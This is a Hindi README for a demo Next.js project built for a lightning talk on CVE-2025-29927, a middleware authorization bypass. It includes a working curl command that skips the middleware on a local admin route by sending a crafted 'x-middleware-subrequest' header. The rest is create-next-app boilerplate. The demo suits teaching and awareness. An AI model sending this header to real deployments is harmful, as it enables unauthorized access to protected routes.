nicknisi/next-attackNebraskaJS लाइटनिंग टॉक के लिए CVE-2025-29927 भेद्यता का एक डेमो
यह एक Next.js प्रोजेक्ट है जिसे create-next-app के साथ बूटस्ट्रैप किया गया है।
पहले, आप पुष्टि कर सकते हैं कि मिडलवेयर काम करता है और उपयोगकर्ता को रीडायरेक्ट करना चाहिए:
curl http://localhost:3000/api/admin
फिर, आप दिखा सकते हैं कि निम्नलिखित कमांड से मिडलवेयर को कैसे बायपास किया जा रहा है:
curl -H "x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware" http://localhost:3000/api/admin
पहले, डेवलपमेंट सर्वर चलाएँ:
npm run dev
# or
yarn dev
# or
pnpm dev
# or
bun dev
परिणाम देखने के लिए अपने ब्राउज़र में http://localhost:3000 खोलें।
आप app/page.tsx को संशोधित करके पेज को संपादित करना शुरू कर सकते हैं। फ़ाइल में संपादन करते ही पेज अपने आप अपडेट हो जाता है।
यह प्रोजेक्ट स्वचालित रूप से अनुकूलित करने और Geist लोड करने के लिए next/font का उपयोग करता है, जो Vercel के लिए एक नया फ़ॉन्ट परिवार है।
Next.js के बारे में अधिक जानने के लिए, निम्नलिखित संसाधनों पर एक नज़र डालें:
आप Next.js GitHub रिपॉजिटरी देख सकते हैं - आपकी प्रतिक्रिया और योगदान का स्वागत है!
अपने Next.js ऐप को डिप्लॉय करने का सबसे आसान तरीका Next.js के निर्माताओं के Vercel प्लेटफ़ॉर्म का उपयोग करना है।
अधिक विवरण के लिए हमारा Next.js डिप्लॉयमेंट दस्तावेज़ीकरण देखें।